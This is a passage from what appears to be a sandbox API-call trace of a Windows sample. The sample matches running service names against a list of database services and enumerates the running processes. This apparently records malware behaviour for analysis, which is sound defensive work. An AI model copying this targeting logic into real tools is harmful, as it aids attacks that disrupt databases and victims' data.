lpString2="NlaSvc") returned -1 [0064.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0064.109] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0064.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0064.109] lstrlenW (lpString="nsi") returned 3 [0064.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0064.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0064.109] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0064.109] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0064.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0064.109] lstrlenW (lpString="PcaSvc") returned 6 [0064.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0064.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0064.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0064.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0064.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0064.109] lstrlenW (lpString="PlugPlay") returned 8 [0064.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0064.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0064.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0064.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0064.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0064.109] lstrlenW (lpString="Power") returned 5 [0064.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0064.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0064.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0064.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0064.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0064.109] lstrlenW (lpString="ProfSvc") returned 7 [0064.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0064.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0064.109] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0064.110] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0064.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0064.110] lstrlenW (lpString="RpcEptMapper") returned 12 [0064.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0064.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0064.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0064.110] lstrlenW (lpString="RpcSs") returned 5 [0064.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0064.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0064.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0064.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0064.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0064.110] lstrlenW (lpString="SamSs") returned 5 [0064.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0064.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0064.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0064.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0064.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0064.110] lstrlenW (lpString="Schedule") returned 8 [0064.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0064.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0064.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0064.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0064.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0064.110] lstrlenW (lpString="SecurityHealthService") returned 21 [0064.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0064.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0064.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0064.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0064.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0064.111] lstrlenW (lpString="SENS") returned 4 [0064.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0064.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0064.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0064.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0064.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0064.111] lstrlenW (lpString="ShellHWDetection") returned 16 [0064.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.111] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0064.111] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0064.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0064.111] lstrlenW (lpString="Spooler") returned 7 [0064.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0064.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0064.111] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0064.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0064.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0064.111] lstrlenW (lpString="SSDPSRV") returned 7 [0064.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0064.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0064.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0064.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0064.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0064.111] lstrlenW (lpString="StateRepository") returned 15 [0064.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0064.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0064.111] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0064.112] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0064.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0064.112] lstrlenW (lpString="SysMain") returned 7 [0064.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0064.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0064.112] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0064.112] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0064.112] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4364f30 | out: hHeap=0x690000) returned 1 [0064.112] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0064.116] Process32FirstW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.116] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0064.149] lstrlenW (lpString="System") returned 6 [0064.149] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0064.150] lstrlenW (lpString="smss.exe") returned 8 [0064.150] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.151] lstrlenW (lpString="csrss.exe") returned 9 [0064.151] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0064.151] lstrlenW (lpString="wininit.exe") returned 11 [0064.151] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.152] lstrlenW (lpString="csrss.exe") returned 9 [0064.152] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0064.153] lstrlenW (lpString="winlogon.exe") returned 12 [0064.153] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0064.153] lstrlenW (lpString="services.exe") returned 12 [0064.153] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0064.154] lstrlenW (lpString="lsass.exe") returned 9 [0064.154] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.155] lstrlenW (lpString="svchost.exe") returned 11 [0064.155] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0064.156] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0064.156] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0064.156] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0064.156] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.157] lstrlenW (lpString="svchost.exe") returned 11 [0064.157] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0064.158] lstrlenW (lpString="dwm.exe") returned 7 [0064.158] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.158] lstrlenW (lpString="svchost.exe") returned 11 [0064.158] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.159] lstrlenW (lpString="svchost.exe") returned 11 [0064.159] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.160] lstrlenW (lpString="svchost.exe") returned 11 [0064.160] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.160] lstrlenW (lpString="svchost.exe") returned 11 [0064.161] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.161] lstrlenW (lpString="svchost.exe") returned 11 [0064.161] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.162] lstrlenW (lpString="svchost.exe") returned 11 [0064.162] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.163] lstrlenW (lpString="svchost.exe") returned 11 [0064.163] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.163] lstrlenW (lpString="svchost.exe") returned 11 [0064.163] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.164] lstrlenW (lpString="svchost.exe") returned 11 [0064.164] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0064.165] lstrlenW (lpString="spoolsv.exe") returned 11 [0064.165] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.166] lstrlenW (lpString="svchost.exe") returned 11 [0064.166] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.166] lstrlenW (lpString="svchost.exe") returned 11 [0064.166] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0064.167] lstrlenW (lpString="audiodg.exe") returned 11 [0064.167] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0064.168] lstrlenW (lpString="sihost.exe") returned 10 [0064.168] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.169] lstrlenW (lpString="svchost.exe") returned 11 [0064.169] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0064.169] lstrlenW (lpString="taskhostw.exe") returned 13 [0064.169] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0064.170] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0064.170] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0064.171] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0064.171] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0064.171] lstrlenW (lpString="explorer.exe") returned 12 [0064.171] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0064.172] lstrlenW (lpString="Memory Compression") returned 18 [0064.172] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0064.173] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0064.173] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0064.173] lstrlenW (lpString="SearchUI.exe") returned 12 [0064.173] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0064.174] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0064.174] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.175] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.175] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0064.176] lstrlenW (lpString="taskhostw.exe") returned 13 [0064.176] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0064.176] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0064.176] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0064.177] lstrlenW (lpString="msoia.exe") returned 9 [0064.177] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0064.178] lstrlenW (lpString="UsoClient.exe") returned 13 [0064.178] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0064.178] lstrlenW (lpString="msoia.exe") returned 9 [0064.178] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0064.179] lstrlenW (lpString="taskhostw.exe") returned 13 [0064.179] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0064.180] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0064.180] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0064.634] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0064.634] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0064.635] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0064.635] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0064.635] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0064.635] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0064.636] lstrlenW (lpString="arcobviously.exe") returned 16 [0064.636] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0064.637] lstrlenW (lpString="preston disciplines.exe") returned 23 [0064.637] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: 